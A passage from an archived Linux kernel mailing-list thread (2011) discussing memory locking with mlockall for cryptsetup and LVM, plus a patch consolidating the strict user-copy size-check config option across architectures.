(Users of libcryptetup library are not forced to lock memory, it is optional
call. But cryptsetup itself as libcryptsetup library user always locks memory.)

And I am not happy with mlockall() as well but the lvm2 workaround
is quite complicated.

Basically it wants to lock memory with explicitly allocated keys
(this can be rewritten to use specific locked page though) but it
also need to lock various libdevmapper buffers when issuing dmcrypt
cfg ioctl (mapping table and messages contains key). So that's why
mlockall(MCL_CURRENT|MCL_FUTURE) was the simplest way (and no problems
reported yet).
(No that it is perfect but better than nothing... Of course
more important is to wipe memory with keys after use.)

Milan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Wed, 11 May 2011 19:12:57 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <BANLkTi=4raxPiRzBH=b44=SLsAujhx2xUw@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz>
 <4DC7D37F.9040308@redhat.com> <20110509224511.GC15227@parisc-linux.org>
 <BANLkTikz-sGiy2NdzQMPzCWF64cVF-DZ7w@mail.gmail.com> <20110510225659.GE9253@agk-dp.fab.redhat.com>
 <4DCA4C05.4030803@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1305166411 20217 80.91.229.12 (12 May 2011 02:13:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 12 May 2011 02:13:31 +0000 (UTC)
Cc: Alasdair G Kergon <agk@redhat.com>,
	Matthew Wilcox <matthew@wil.cx>,
	Zdenek Kabelac <zkabelac@redhat.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>,
	Oleg Nesterov <oleg@redhat.com>
To: Milan Broz <mbroz@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 12 04:13:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QKLP1-00048X-EF
	for glpp-linux-parisc@lo.gmane.org; Thu, 12 May 2011 04:13:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752614Ab1ELCNV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 May 2011 22:13:21 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:60288 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751685Ab1ELCNU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 May 2011 22:13:20 -0400
Original-Received: from mail-ew0-f46.google.com (mail-ew0-f46.google.com [209.85.215.46])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p4C2DHJT001031
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Wed, 11 May 2011 19:13:19 -0700
Original-Received: by ewy4 with SMTP id 4so297831ewy.19
        for <multiple recipients>; Wed, 11 May 2011 19:13:17 -0700 (PDT)
Original-Received: by 10.14.13.66 with SMTP id a42mr4706202eea.193.1305166397084; Wed,
 11 May 2011 19:13:17 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Wed, 11 May 2011 19:12:57 -0700 (PDT)
In-Reply-To: <4DCA4C05.4030803@redhat.com>
X-Spam-Status: No, hits=-104.975 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3723 gmane.linux.kernel:1138843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3723>

On Wed, May 11, 2011 at 1:42 AM, Milan Broz <mbroz@redhat.com> wrote:
>
> Another one is cryptsetup [..]

Quite frankly, all security-related uses should always be happy about
a "MCL_SPARSE" model, since there is no point in ever bringing in
pages that haven't been used. The whole (and only) point of
mlock[all]() for them is the "avoid to push to disk" issue.

I do wonder if we really should ever do the page-in at all. We might
simply be better off always just saying "we'll lock pages you've
touched, that's it".

                       Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zdenek Kabelac <zkabelac@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Thu, 12 May 2011 11:06:03 +0200
Organization: Red Hat
Lines: 33
Approved: news@gmane.org
Message-ID: <4DCBA2FB.3040907@redhat.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz> <4DC7D37F.9040308@redhat.com> <20110509224511.GC15227@parisc-linux.org> <BANLkTikz-sGiy2NdzQMPzCWF64cVF-DZ7w@mail.gmail.com> <20110510225659.GE9253@agk-dp.fab.redhat.com> <4DCA4C05.4030803@redhat.com> <BANLkTi=4raxPiRzBH=b44=SLsAujhx2xUw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1305191183 2320 80.91.229.12 (12 May 2011 09:06:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 12 May 2011 09:06:23 +0000 (UTC)
Cc: Milan Broz <mbroz@redhat.com>, Alasdair G Kergon <agk@redhat.com>,
	Matthew Wilcox <matthew@wil.cx>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>,
	Oleg Nesterov <oleg@redhat.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 12 11:06:18 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QKRqa-0007qK-GL
	for glpp-linux-parisc@lo.gmane.org; Thu, 12 May 2011 11:06:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755398Ab1ELJGQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 May 2011 05:06:16 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:17532 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755008Ab1ELJGP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 May 2011 05:06:15 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p4C9669M030693
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 12 May 2011 05:06:07 -0400
Original-Received: from [10.36.10.140] (vpn2-10-140.ams2.redhat.com [10.36.10.140])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p4C9649T004829;
	Thu, 12 May 2011 05:06:04 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc16 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <BANLkTi=4raxPiRzBH=b44=SLsAujhx2xUw@mail.gmail.com>
X-Enigmail-Version: 1.1.2
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3724 gmane.linux.kernel:1138954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3724>

Dne 12.5.2011 04:12, Linus Torvalds napsal(a):
> On Wed, May 11, 2011 at 1:42 AM, Milan Broz <mbroz@redhat.com> wrote:
>>
>> Another one is cryptsetup [..]
> 
> Quite frankly, all security-related uses should always be happy about
> a "MCL_SPARSE" model, since there is no point in ever bringing in
> pages that haven't been used. The whole (and only) point of
> mlock[all]() for them is the "avoid to push to disk" issue.
> 
> I do wonder if we really should ever do the page-in at all. We might
> simply be better off always just saying "we'll lock pages you've
> touched, that's it".
> 


For LVM we need to ensure the code which might ever be executed during  disk
suspend state must be paged and locked in - thus we would need MCL_SPARSE only
on several selected 'unneeded' libraries - as we are obviously not really able
to select which part of glibc might be needed during all code path (though I
guess we may find some limits).  But if we are sure that some libraries and
locale files will never be used during suspend state - we do not care about
those pages at all.

So it's not like we would always need only MCL_SPARSE all the time - we would
probably need to have some control to switch i.e.  glibc into MCL_ALL.

Zdenek
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Boyd <sboyd@codeaurora.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 9/9] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Thu, 12 May 2011 16:50:12 -0700
Lines: 363
Approved: news@gmane.org
Message-ID: <1305244212-19183-10-git-send-email-sboyd@codeaurora.org>
References: <1305244212-19183-1-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1305244379 24009 80.91.229.12 (12 May 2011 23:52:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 12 May 2011 23:52:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	x86@kernel.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Chris Metcalf <cmetcalf@tilera.com>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 13 01:52:53 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QKfga-0003hO-Pu
	for glpp-linux-parisc@lo.gmane.org; Fri, 13 May 2011 01:52:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758987Ab1ELXwk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 May 2011 19:52:40 -0400
Original-Received: from wolverine02.qualcomm.com ([199.106.114.251]:51853 "EHLO
	wolverine02.qualcomm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758917Ab1ELXuS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 May 2011 19:50:18 -0400
X-IronPort-AV: E=McAfee;i="5400,1158,6344"; a="90916801"
Original-Received: from pdmz-ns-mip.qualcomm.com (HELO mostmsg01.qualcomm.com) ([199.106.114.10])
  by wolverine02.qualcomm.com with ESMTP/TLS/ADH-AES256-SHA; 12 May 2011 16:50:17 -0700
Original-Received: from sboyd-linux.qualcomm.com (pdmz-snip-v218.qualcomm.com [192.168.218.1])
	by mostmsg01.qualcomm.com (Postfix) with ESMTPA id 0ED2A10004DE;
	Thu, 12 May 2011 16:49:59 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.1.217.g4e3aa
In-Reply-To: <1305244212-19183-1-git-send-email-sboyd@codeaurora.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3725 gmane.linux.kernel:1139410
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3725>

The help text for this config is duplicated across the x86,
parisc, and s390 Kconfig.debug files. Arnd Bergman noted that the
help text was slightly misleading and should be fixed to state
that enabling this option isn't a problem when using pre 4.4 gcc.

To simplify the rewording, consolidate the text into
lib/Kconfig.debug and modify it there to be more explicit about
when you should say N to this config.

Also, make the text a bit more generic by stating that this
option enables compile time checks so we can cover architectures
which emit warnings vs. ones which emit errors. The details of
how an architecture decided to implement the checks isn't as
important as the concept of compile time checking of
copy_from_user() calls.

While we're doing this, remove all the copy_from_user_overflow()
code that's duplicated many times and place it into lib/ so that
any architecture supporting this option can get the function for
free.

Cc: Arnd Bergmann <arnd@arndb.de>
Cc: x86@kernel.org
Cc: linux-parisc@vger.kernel.org
Cc: linux-s390@vger.kernel.org
Cc: Arjan van de Ven <arjan@linux.intel.com>
Cc: Helge Deller <deller@gmx.de>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Chris Metcalf <cmetcalf@tilera.com>
Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
---
 arch/parisc/Kconfig             |    1 +
 arch/parisc/Kconfig.debug       |   14 --------------
 arch/s390/Kconfig               |    1 +
 arch/s390/Kconfig.debug         |   14 --------------
 arch/s390/lib/Makefile          |    1 -
 arch/s390/lib/usercopy.c        |    8 --------
 arch/sparc/lib/Makefile         |    1 -
 arch/sparc/lib/usercopy.c       |    8 --------
 arch/tile/Kconfig               |    8 +-------
 arch/tile/include/asm/uaccess.h |    7 ++++++-
 arch/tile/lib/uaccess.c         |    8 --------
 arch/x86/Kconfig                |    1 +
 arch/x86/Kconfig.debug          |   14 --------------
 arch/x86/lib/usercopy_32.c      |    6 ------
 arch/x86/lib/usercopy_64.c      |    6 ------
 lib/Kconfig.debug               |   18 ++++++++++++++++++
 lib/Makefile                    |    1 +
 lib/usercopy.c                  |    8 ++++++++
 18 files changed, 37 insertions(+), 88 deletions(-)
 delete mode 100644 arch/s390/lib/usercopy.c
 delete mode 100644 arch/sparc/lib/usercopy.c
 create mode 100644 lib/usercopy.c

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 69ff049..4473f10 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -15,6 +15,7 @@ config PARISC
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_IRQ_PROBE
 	select IRQ_PER_CPU
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index 7305ac8..bc989e5 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,18 +12,4 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 endmenu
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 2508a6f..196cdc9 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -116,6 +116,7 @@ config S390
 	select ARCH_INLINE_WRITE_UNLOCK_BH
 	select ARCH_INLINE_WRITE_UNLOCK_IRQ
 	select ARCH_INLINE_WRITE_UNLOCK_IRQRESTORE
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 config SCHED_OMIT_FRAME_POINTER
 	def_bool y
diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
index d76cef3..aa1796c 100644
--- a/arch/s390/Kconfig.debug
+++ b/arch/s390/Kconfig.debug
@@ -17,20 +17,6 @@ config STRICT_DEVMEM
 
 	  If you are unsure, say Y.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	def_bool n
-	prompt "Strict user copy size checks"
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time warnings.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 config DEBUG_SET_MODULE_RONX
 	def_bool y
 	depends on MODULES
diff --git a/arch/s390/lib/Makefile b/arch/s390/lib/Makefile
index 761ab8b..97975ec 100644
--- a/arch/s390/lib/Makefile
+++ b/arch/s390/lib/Makefile
@@ -3,7 +3,6 @@
 #
 
 lib-y += delay.o string.o uaccess_std.o uaccess_pt.o
-obj-y += usercopy.o
 obj-$(CONFIG_32BIT) += div64.o qrnnd.o ucmpdi2.o
 lib-$(CONFIG_64BIT) += uaccess_mvcos.o
 lib-$(CONFIG_SMP) += spinlock.o
diff --git a/arch/s390/lib/usercopy.c b/arch/s390/lib/usercopy.c
deleted file mode 100644
index 14b363f..0000000
--- a/arch/s390/lib/usercopy.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <linux/module.h>
-#include <linux/bug.h>
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/sparc/lib/Makefile b/arch/sparc/lib/Makefile
index 846d1c4..892e0a9 100644
--- a/arch/sparc/lib/Makefile
+++ b/arch/sparc/lib/Makefile
@@ -44,4 +44,3 @@ obj-y                 += iomap.o
 obj-$(CONFIG_SPARC32) += atomic32.o
 obj-y                 += ksyms.o
 obj-$(CONFIG_SPARC64) += PeeCeeI.o
-obj-y                 += usercopy.o
diff --git a/arch/sparc/lib/usercopy.c b/arch/sparc/lib/usercopy.c
deleted file mode 100644
index 14b363f..0000000
--- a/arch/sparc/lib/usercopy.c
+++ /dev/null
@@ -1,8 +0,0 @@
-#include <linux/module.h>
-#include <linux/bug.h>
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index e32b0c2..8961f43 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -12,6 +12,7 @@ config TILE
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PENDING_IRQ if SMP
 	select GENERIC_IRQ_SHOW
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 # FIXME: investigate whether we need/want these options.
 #	select HAVE_IOREMAP_PROT
@@ -96,13 +97,6 @@ config STRICT_DEVMEM
 config SMP
 	def_bool y
 
-# Allow checking for compile-time determined overflow errors in
-# copy_from_user().  There are still unprovable places in the
-# generic code as of 2.6.34, so this option is not really compatible
-# with -Werror, which is more useful in general.
-config DEBUG_COPY_FROM_USER
-	def_bool n
-
 config HVC_TILE
 	select HVC_DRIVER
 	def_bool y
diff --git a/arch/tile/include/asm/uaccess.h b/arch/tile/include/asm/uaccess.h
index ef34d2c..9a540be 100644
--- a/arch/tile/include/asm/uaccess.h
+++ b/arch/tile/include/asm/uaccess.h
@@ -353,7 +353,12 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
 	return n;
 }
 
-#ifdef CONFIG_DEBUG_COPY_FROM_USER
+#ifdef CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
+/*
+ * There are still unprovable places in the generic code as of 2.6.34, so this
+ * option is not really compatible with -Werror, which is more useful in
+ * general.
+ */
 extern void copy_from_user_overflow(void)
 	__compiletime_warning("copy_from_user() size is not provably correct");
 
diff --git a/arch/tile/lib/uaccess.c b/arch/tile/lib/uaccess.c
index f8d398c..030abe3 100644
--- a/arch/tile/lib/uaccess.c
+++ b/arch/tile/lib/uaccess.c
@@ -22,11 +22,3 @@ int __range_ok(unsigned long addr, unsigned long size)
 		 is_arch_mappable_range(addr, size));
 }
 EXPORT_SYMBOL(__range_ok);
-
-#ifdef CONFIG_DEBUG_COPY_FROM_USER
-void copy_from_user_overflow(void)
-{
-       WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
-#endif
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index cc6c53a..be50c8e 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -72,6 +72,7 @@ config X86
 	select IRQ_FORCED_THREADING
 	select USE_GENERIC_SMP_HELPERS if SMP
 	select ARCH_NO_SYSDEV_OPS
+	select ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
 
 config INSTRUCTION_DECODER
 	def_bool (KPROBES || PERF_EVENTS)
diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
index 615e188..e3c58f3 100644
--- a/arch/x86/Kconfig.debug
+++ b/arch/x86/Kconfig.debug
@@ -290,18 +290,4 @@ config OPTIMIZE_INLINING
 
 	  If unsure, say N.
 
-config DEBUG_STRICT_USER_COPY_CHECKS
-	bool "Strict copy size checks"
-	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
-	---help---
-	  Enabling this option turns a certain set of sanity checks for user
-	  copy operations into compile time failures.
-
-	  The copy_from_user() etc checks are there to help test if there
-	  are sufficient security checks on the length argument of
-	  the copy operation, by having gcc prove that the argument is
-	  within bounds.
-
-	  If unsure, or if you run an older (pre 4.4) gcc, say N.
-
 endmenu
diff --git a/arch/x86/lib/usercopy_32.c b/arch/x86/lib/usercopy_32.c
index e218d5d..8498684 100644
--- a/arch/x86/lib/usercopy_32.c
+++ b/arch/x86/lib/usercopy_32.c
@@ -883,9 +883,3 @@ _copy_from_user(void *to, const void __user *from, unsigned long n)
 	return n;
 }
 EXPORT_SYMBOL(_copy_from_user);
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/arch/x86/lib/usercopy_64.c b/arch/x86/lib/usercopy_64.c
index d7a5d9a..b7c2849 100644
--- a/arch/x86/lib/usercopy_64.c
+++ b/arch/x86/lib/usercopy_64.c
@@ -181,9 +181,3 @@ copy_user_handle_tail(char *to, char *from, unsigned len, unsigned zerorest)
 			break;
 	return len;
 }
-
-void copy_from_user_overflow(void)
-{
-	WARN(1, "Buffer overflow detected!\n");
-}
-EXPORT_SYMBOL(copy_from_user_overflow);
diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index c768bcd..3703778 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -1096,6 +1096,24 @@ config SYSCTL_SYSCALL_CHECK
 	  to properly maintain and use. This enables checks that help
 	  you to keep things correct.
 
+config ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	bool
+
+config DEBUG_STRICT_USER_COPY_CHECKS
+	bool "Strict user copy size checks"
+	depends on ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS
+	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
+	help
+	  Enabling this option turns a certain set of sanity checks for user
+	  copy operations into compile time failures.
+
+	  The copy_from_user() etc checks are there to help test if there
+	  are sufficient security checks on the length argument of
+	  the copy operation, by having gcc prove that the argument is
+	  within bounds.
+
+	  If unsure, say N.
+
 source mm/Kconfig.debug
 source kernel/trace/Kconfig
 
diff --git a/lib/Makefile b/lib/Makefile
index ef0f285..4c1e445 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -14,6 +14,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
 	 proportions.o prio_heap.o ratelimit.o show_mem.o \
 	 is_single_threaded.o plist.o decompress.o
 
+lib-$(CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS) += usercopy.o
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
 
diff --git a/lib/usercopy.c b/lib/usercopy.c
new file mode 100644
index 0000000..14b363f
--- /dev/null
+++ b/lib/usercopy.c
@@ -0,0 +1,8 @@
+#include <linux/module.h>
+#include <linux/bug.h>
+
+void copy_from_user_overflow(void)
+{
+	WARN(1, "Buffer overflow detected!\n");
+}
+EXPORT_SYMBOL(copy_from_user_overflow);
-- 
Sent by an employee of the Qualcomm Innovation Center, Inc.
The Qualcomm Innovation Center, Inc. is a member of the Code Aurora Forum.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Metcalf <cmetcalf@tilera.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 9/9] Consolidate CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
Date: Thu, 12 May 2011 20:55:25 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <4DCC817D.3090005@tilera.com>
References: <1305244212-19183-1-git-send-email-sboyd@codeaurora.org> <1305244212-19183-10-git-send-email-sboyd@codeaurora.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1305248143 7922 80.91.229.12 (13 May 2011 00:55:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 13 May 2011 00:55:43 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	<linux-kernel@vger.kernel.org>, Arnd Bergmann <arnd@arndb.de>,
	<x86@kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-s390@vger.kernel.org>,
	Arjan van de Ven <arjan@linux.intel.com>,
	Helge Deller <deller@gmx.de>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>
To: Stephen Boyd <sboyd@codeaurora.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 13 02:55:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QKgfG-0003K3-Vi
	for glpp-linux-parisc@lo.gmane.org; Fri, 13 May 2011 02:55:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759045Ab1EMAzd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 May 2011 20:55:33 -0400
Original-Received: from usmamail.tilera.com ([206.83.70.75]:29640 "EHLO
	USMAMAIL.TILERA.COM" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752320Ab1EMAzc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 May 2011 20:55:32 -0400
Original-Received: from [127.0.0.1] (24.34.76.130) by USMAExch2.tad.internal.tilera.com
 (10.3.0.33) with Microsoft SMTP Server id 14.0.694.0; Thu, 12 May 2011
 20:55:31 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10
